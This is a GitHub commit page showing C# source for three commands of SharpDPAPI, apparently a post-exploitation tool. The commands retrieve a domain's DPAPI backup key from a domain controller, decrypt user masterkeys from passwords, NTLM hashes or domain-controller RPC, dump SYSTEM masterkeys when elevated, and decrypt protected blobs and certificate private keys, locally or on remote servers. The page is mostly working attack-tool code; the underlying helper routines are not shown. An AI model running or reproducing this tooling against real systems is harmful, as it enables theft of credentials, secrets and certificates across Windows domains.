This repository has been archived by the owner on Jan 4, 2025. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6395b54
commit 7377577
Showing
124 changed files
with
126,929 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.IO; | ||
|
||
namespace SharpDPAPI.Commands | ||
{ | ||
public class Backupkey : ICommand | ||
{ | ||
public static string CommandName => "backupkey"; | ||
|
||
public void Execute(Dictionary<string, string> arguments) | ||
{ | ||
Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n"); | ||
|
||
string server = ""; | ||
string outFile = ""; | ||
bool noWrap = false; | ||
|
||
if (arguments.ContainsKey("/nowrap")) | ||
{ | ||
noWrap = true; | ||
} | ||
|
||
if (arguments.ContainsKey("/server")) | ||
{ | ||
server = arguments["/server"]; | ||
Console.WriteLine("\r\n[*] Using server : {0}", server); | ||
} | ||
else | ||
{ | ||
server = Interop.GetDCName(); | ||
if (String.IsNullOrEmpty(server)) | ||
{ | ||
return; | ||
} | ||
Console.WriteLine("\r\n[*] Using current domain controller : {0}", server); | ||
} | ||
|
||
if (arguments.ContainsKey("/file")) | ||
{ | ||
// if we want the backup key piped to an output file | ||
outFile = arguments["/file"]; | ||
} | ||
|
||
Backup.GetBackupKey(server, outFile, noWrap); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.IO; | ||
using System.Text; | ||
|
||
namespace SharpDPAPI.Commands | ||
{ | ||
public class Blob : ICommand | ||
{ | ||
public static string CommandName => "blob"; | ||
|
||
public void Execute(Dictionary<string, string> arguments) | ||
{ | ||
Console.WriteLine("\r\n[*] Action: Describe DPAPI blob"); | ||
|
||
byte[] blobBytes; | ||
bool unprotect = false; // whether to force CryptUnprotectData() | ||
byte[] entropy = null; | ||
var server = ""; | ||
|
||
if (arguments.ContainsKey("/unprotect")) | ||
{ | ||
Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); | ||
unprotect = true; | ||
} | ||
Console.WriteLine(); | ||
|
||
if (arguments.ContainsKey("/target")) | ||
{ | ||
string blob = arguments["/target"].Trim('"').Trim('\''); | ||
if (File.Exists(blob)) | ||
{ | ||
blobBytes = File.ReadAllBytes(blob); | ||
} | ||
else | ||
{ | ||
blobBytes = Convert.FromBase64String(blob); | ||
} | ||
} | ||
else | ||
{ | ||
Console.WriteLine("[X] A /target:<BASE64 | file.bin> must be supplied!"); | ||
return; | ||
} | ||
|
||
if (arguments.ContainsKey("/server")) | ||
{ | ||
server = arguments["/server"]; | ||
} | ||
|
||
// {GUID}:SHA1 keys are the only ones that don't start with / | ||
Dictionary<string, string> masterkeys = new Dictionary<string, string>(); | ||
foreach (KeyValuePair<string, string> entry in arguments) | ||
{ | ||
if (!entry.Key.StartsWith("/")) | ||
{ | ||
masterkeys.Add(entry.Key, entry.Value); | ||
} | ||
} | ||
if (arguments.ContainsKey("/pvk")) | ||
{ | ||
// use a domain DPAPI backup key to triage masterkeys | ||
masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); | ||
} | ||
else if (arguments.ContainsKey("/mkfile")) | ||
{ | ||
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); | ||
} | ||
else if (arguments.ContainsKey("/password")) | ||
{ | ||
Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); | ||
} | ||
else if (arguments.ContainsKey("/ntlm")) | ||
{ | ||
Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); | ||
} | ||
else if (arguments.ContainsKey("/credkey")) | ||
{ | ||
Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); | ||
} | ||
else if (arguments.ContainsKey("/rpc")) | ||
{ | ||
Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); | ||
} | ||
|
||
if (arguments.ContainsKey("/entropy")) | ||
{ | ||
entropy = Helpers.ConvertHexStringToByteArray(arguments["/entropy"]); | ||
} | ||
|
||
if (blobBytes.Length > 0) | ||
{ | ||
byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob", unprotect, entropy); | ||
|
||
if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) | ||
{ | ||
if (Helpers.IsUnicode(decBytesRaw)) | ||
{ | ||
string data = ""; | ||
int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); | ||
if (finalIndex > 1) | ||
{ | ||
byte[] decBytes = new byte[finalIndex + 1]; | ||
Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); | ||
data = Encoding.Unicode.GetString(decBytes); | ||
} | ||
else | ||
{ | ||
data = Encoding.ASCII.GetString(decBytesRaw); | ||
} | ||
Console.WriteLine(" dec(blob) : {0}", data); | ||
} | ||
else | ||
{ | ||
string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); | ||
Console.WriteLine(" dec(blob) : {0}", hexData); | ||
} | ||
} | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,188 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.IO; | ||
|
||
namespace SharpDPAPI.Commands | ||
{ | ||
|
||
public class Certificate : ICommand | ||
{ | ||
public static string CommandName => "certificates"; | ||
|
||
public void Execute(Dictionary<string, string> arguments) | ||
{ | ||
Console.WriteLine("\r\n[*] Action: Certificate Triage"); | ||
arguments.Remove("certificates"); | ||
|
||
string server = ""; // used for remote server specification | ||
bool cng = false; // used for CNG certs | ||
bool showall = false; // used for CNG certs | ||
bool unprotect = false; // whether to force CryptUnprotectData() | ||
|
||
if (arguments.ContainsKey("/server")) | ||
{ | ||
server = arguments["/server"]; | ||
} | ||
|
||
if (arguments.ContainsKey("/unprotect")) | ||
{ | ||
Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); | ||
unprotect = true; | ||
} | ||
Console.WriteLine(); | ||
|
||
// {GUID}:SHA1 keys are the only ones that don't start with / | ||
Dictionary<string, string> masterkeys = new Dictionary<string, string>(); | ||
foreach (KeyValuePair<string, string> entry in arguments) | ||
{ | ||
if (!entry.Key.StartsWith("/")) | ||
{ | ||
masterkeys.Add(entry.Key, entry.Value); | ||
} | ||
} | ||
|
||
if (arguments.ContainsKey("/cng")) | ||
{ | ||
cng = true; | ||
} | ||
|
||
if (arguments.ContainsKey("/showall")) | ||
{ | ||
showall = true; | ||
} | ||
|
||
if (arguments.ContainsKey("/machine")) | ||
{ | ||
// machine certificate triage | ||
if (arguments.ContainsKey("/mkfile")) | ||
{ | ||
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); | ||
} | ||
|
||
if (arguments.ContainsKey("/target")) | ||
{ | ||
string target = arguments["/target"].Trim('"').Trim('\''); | ||
|
||
if (masterkeys.Count == 0) | ||
{ | ||
Console.WriteLine("\r\n[X] Either a '/mkfile:X' or {GUID}:key needs to be passed in order to use '/target' for machine masterkeys"); | ||
} | ||
else | ||
{ | ||
if (File.Exists(target)) | ||
{ | ||
Console.WriteLine("[*] Target Certificate File: {0}\r\n", target); | ||
Triage.TriageCertFile(target, masterkeys, cng, showall); | ||
} | ||
else if (Directory.Exists(target)) | ||
{ | ||
Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target); | ||
Triage.TriageCertFolder(target, masterkeys, cng, showall); | ||
} | ||
else | ||
{ | ||
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target); | ||
} | ||
} | ||
} | ||
else | ||
{ | ||
if (masterkeys.Count == 0) | ||
{ | ||
// if no /target and no masterkeys, try to extract the SYSTEM DPAPI creds | ||
if (!Helpers.IsHighIntegrity()) | ||
{ | ||
Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); | ||
} | ||
else | ||
{ | ||
masterkeys = Triage.TriageSystemMasterKeys(); | ||
|
||
Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); | ||
foreach (KeyValuePair<string, string> kvp in masterkeys) | ||
{ | ||
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); | ||
} | ||
Console.WriteLine(); | ||
|
||
Triage.TriageSystemCerts(masterkeys); | ||
} | ||
} | ||
else | ||
{ | ||
// if we got machine masterkeys somehow else | ||
Console.WriteLine(masterkeys.Count); | ||
Triage.TriageSystemCerts(masterkeys); | ||
} | ||
} | ||
} | ||
else | ||
{ | ||
// user triage | ||
|
||
if (arguments.ContainsKey("/pvk")) | ||
{ | ||
// use a domain DPAPI backup key to triage masterkeys | ||
masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); | ||
} | ||
else if (arguments.ContainsKey("/mkfile")) | ||
{ | ||
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); | ||
} | ||
else if (arguments.ContainsKey("/password")) | ||
{ | ||
Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); | ||
} | ||
else if (arguments.ContainsKey("/ntlm")) | ||
{ | ||
Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); | ||
} | ||
else if (arguments.ContainsKey("/credkey")) | ||
{ | ||
Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); | ||
} | ||
else if (arguments.ContainsKey("/rpc")) | ||
{ | ||
Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); | ||
masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); | ||
} | ||
|
||
if (arguments.ContainsKey("/server")) | ||
{ | ||
server = arguments["/server"]; | ||
Console.WriteLine("[*] Triaging Certificates from remote server: {0}\r\n", server); | ||
Triage.TriageUserCerts(masterkeys, server, showall); | ||
} | ||
|
||
if (arguments.ContainsKey("/target")) | ||
{ | ||
string target = arguments["/target"].Trim('"').Trim('\''); | ||
|
||
if (File.Exists(target)) | ||
{ | ||
Console.WriteLine("[*] Target Certificate File: {0}\r\n", target); | ||
Triage.TriageCertFile(target, masterkeys, cng, showall, unprotect); | ||
} | ||
else if (Directory.Exists(target)) | ||
{ | ||
Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target); | ||
Triage.TriageCertFolder(target, masterkeys, cng, showall, unprotect); | ||
} | ||
else | ||
{ | ||
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target); | ||
} | ||
} | ||
else | ||
{ | ||
Triage.TriageUserCerts(masterkeys, "", showall, unprotect); | ||
} | ||
} | ||
|
||
Console.WriteLine("\r\n[*] Hint: openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx"); | ||
} | ||
} | ||
} |
Oops, something went wrong.